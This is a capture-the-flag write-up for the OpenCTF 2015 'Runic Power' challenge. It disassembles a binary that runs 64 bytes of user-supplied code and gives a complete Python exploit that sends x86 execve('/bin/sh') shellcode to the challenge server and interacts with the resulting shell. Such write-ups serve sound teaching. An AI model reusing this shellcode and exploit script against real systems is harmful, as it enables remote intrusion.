OpenCTF 2015 - Runic Power (binary,exploitation,pwnable 200) Writeup
Hint:
Runic Power 200 — Even a tyro will crush this challenge at 10.0.66.71:6698
(solved by seaz, writeup by hbw)
For this challenge, we’re given a 32-bit Linux binary and a network service. Connecting to this service (e.g. via netcat) simply executes the binary on their server: anything we send over the connection is forwarded to the binary’s stdin, and anything the binary writes to stdout is relayed back to us. The binary itself has its symbols stripped, but by disassembling the binary, we can find the main function by examining the first argument passed to __libc_start_main
. (These examples use the output from objdump -M intel-mnemonic -d runic_power-cb3db53a7ec552900f99dbe7c4b63561
.)
{language=python}
8048397: 68 7d 84 04 08 push 0x804847d
804839c: e8 bf ff ff ff call 8048360 __libc_start_main@plt
Which gives us this:
{language=python}
804847d: 55 push ebp
804847e: 89 e5 mov ebp,esp
8048480: 83 e4 f0 and esp,0xfffffff0
8048483: 83 ec 30 sub esp,0x30
8048486: c7 44 24 14 00 00 00 mov DWORD PTR [esp+0x14],0x0
804848d: 00
804848e: c7 44 24 10 ff ff ff mov DWORD PTR [esp+0x10],0xffffffff
8048495: ff
8048496: c7 44 24 0c 22 00 00 mov DWORD PTR [esp+0xc],0x22
804849d: 00
804849e: c7 44 24 08 07 00 00 mov DWORD PTR [esp+0x8],0x7
80484a5: 00
80484a6: c7 44 24 04 ff ff 00 mov DWORD PTR [esp+0x4],0xffff
80484ad: 00
80484ae: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
80484b5: e8 96 fe ff ff call 8048350 <mmap@plt>
80484ba: 89 44 24 2c mov DWORD PTR [esp+0x2c],eax
80484be: c7 44 24 08 ff ff 00 mov DWORD PTR [esp+0x8],0xffff
80484c5: 00
80484c6: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
80484cd: 00
80484ce: 8b 44 24 2c mov eax,DWORD PTR [esp+0x2c]
80484d2: 89 04 24 mov DWORD PTR [esp],eax
80484d5: e8 96 fe ff ff call 8048370 <memset@plt>
80484da: c7 44 24 08 40 00 00 mov DWORD PTR [esp+0x8],0x40
80484e1: 00
80484e2: 8b 44 24 2c mov eax,DWORD PTR [esp+0x2c]
80484e6: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80484ea: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
80484f1: e8 3a fe ff ff call 8048330 <read@plt>
80484f6: 8b 44 24 2c mov eax,DWORD PTR [esp+0x2c]
80484fa: ff d0 call eax
80484fc: b8 00 00 00 00 mov eax,0x0
8048501: c9 leave
8048502: c3 ret
This is a pretty straightforward function that does the following very nice things for us:
mmap’s a 64KB buffer with read, write, and execute permissions, and zeroes it out.
Reads 64 bytes of data from stdin into that buffer.
Makes a call into that buffer.
Or, in other words, it runs 64 bytes of shellcode that we supply. That’s plenty enough bytes for us to pop a shell on their server. Here is our final exploit script:
{language=python}
1 #!/usr/env python2
2 import socket
3 from telnetlib import Telnet
4 import time
5
6 s = socket.socket()
7 s.connect(("10.0.66.71", 6698))
8 s.send("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
9 time.sleep(1)
10
11 t = Telnet()
12 t.sock = s
13 t.interact()
After sending the exploit, we use Telnet.interact()
to use our obtained shell via the console, which we use to cat the flag:
SRSLY_this_was_trivial_for_x86